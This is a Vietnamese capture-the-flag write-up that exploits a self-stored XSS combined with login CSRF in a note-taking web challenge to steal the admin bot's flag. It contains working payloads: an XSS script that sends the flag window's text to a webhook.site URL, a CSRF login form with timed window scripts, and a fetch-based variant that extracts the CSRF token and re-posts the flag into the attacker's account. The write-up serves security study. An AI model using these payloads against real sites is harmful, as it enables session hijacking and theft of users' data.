Sơ lược về challenge
Trang gồm có hai chức năng Login
và Register
overview1
Tiếp đó ta thể tạo note và gửi link để report. overview2
Phân tích
Sau khi thử thì mình nhận thấy có lỗi xss ở đây Click to play video
Suy ra bài này là một dạng Self Store XSS
Cũng tương tự như các bài xss khác, chức năng report sẽ làm con bot (đóng vai trò như admin) access đến link mà ta gửi. report.js Bot sẽ tạo một tài khoản với tk, mk random và tạo một note với content chính là flag. Sau đó sẽ access tới url được report.
Trong web.js
có thể thấy server dùng csrf token trong các route. web.js
Khai thác
Bởi vì sau khi vừa tạo note thì phiên hoạt động của bot vẫn còn hiệu lực nên từ đó ta sẽ nghĩ cách để có thể lấy nội dung từ trang /notes
của con bot (chứa flag) và gửi đến webhook hoặc có thể tạo một note mới với content là flag ở account của ta.
Bởi vì sau khi vừa tạo note thì session của bot vẫn còn lưu trên trình duyệt nên từ đó ta sẽ nghĩ cách để có thể lấy nội dung từ trang /notes
của con bot (chứa flag) và gửi đến webbook hoặc có thể tạo một note mới với content là flag ở account của ta.
Gửi đến webhook
Cách này không đòi hỏi phải extract csrf token flow1
Đầu tiên ta khởi tạo 1 account với tk,mk: bla
mục đích là lưu xss script có vai trò gửi nội dung của window
chứa flag tới webhook của ta.
XSS note sẽ có nội dung như sau:
1
2
3
4
<script>
if (window.location.search.includes('pwn'))
window.location = 'https://webhook.site/<id>?' + window.open('', 'flag').document.body.textContent
</script>
Ở đây ta dùng window.location.search.includes
là để tránh việc bị redirect liên tục tới webhook.
Tiếp theo ở exploit server ta tạo một index.html
với layout flow2
Csrf form sẽ là:
1
2
3
4
<form action='http://0.0.0.0:8080/login' method='POST' id='csrf' target='_blank'>
<input type="text" name="username" value="bla">
<input type="text" name="password" value="bla">
</form>
Script để exploit sẽ là:
1
2
3
4
5
<script>
window.open('http://0.0.0.0:8080/notes', 'flag');
setTimeout(`csrf.submit()`, 1000);
setTimeout(`window.location='http://0.0.0.0:8080/notes?pwn'`, 1500);
</script>
Trong csrf form ta thêm thuộc tính target
và gán giá trị bằng _blank
để reponse trả về từ action
sẽ mở ở tab mới nếu không các dòng javascript ở bên dưới sẽ không được thực thi.
Để hiểu rõ hơn về cách khai thác này ta sẽ đặt tất cả lại với nhau:
- Đầu tiên gửi cho con bot link exploit server, bot sẽ truy cập tới exploit server hay cụ thể là
index.html
- Đoạn script ở
index.html
sẽ open new tab với tên làflag
(sẽ không yêu cầu nhập username, password bởi vì phiên hoạt động của bot vẫn còn và cửa sổ này sẽ chứa note với content là flag) - Sau 1s thì submit csrf form lúc này bot sẽ login vào account ta vừa tạo và kết quả hiển thị ở
new blank tab
- Sau 1,5s thì chuyển hướng từ exploit page đến
http://0.0.0.0:8080/notes?pwn
lưu ý rằng ở đoạn code trước ta đã đăng nhập vào tài khoảnbla
nên bây giờ cũng sẽ chuyển hướng tới/notes
củabla
.?pwn
dùng để trigger store xss và gửi nội dung cửa sổflag
đến webhook. Có thể thấy lúc này ta không hề vi phạmsame origin policy
khi lấydocument.body.textContent
từ cửa sổflag
bởi vì chúng đều thuộc cùng domain, port và scheme.
Và kết quả: result
Extract csrf token
Ở cách này thì form csrf vẫn như cách kia nhưng có sự thay đổi về xss note và script exploit
Script exploit:
1
2
3
4
<script>
window.open('http://0.0.0.0:8080/notes', 'flag')
setTimeout(`csrf.submit()`, 1000);
</script>
XSS note:
1
2
3
4
5
6
7
8
9
10
<script>
fetch("/new").then(r => r.text()).then(r => {
//extract csrf token từ '/new'
let csrf = r.match(/_csrf" value="([^"]*)/)[1];
//lấy flag
let flag = window.open('', 'flag').document.querySelector("body>div>p").innerHTML;
//tạo note với content là flag ở account của ta
fetch("/new", { method: "POST", body: JSON.stringify({ _csrf: csrf, title: "PWNED!!!", content: flag }), headers: { 'Content-Type': 'application/json' } });
});
</script>
Kết quả: result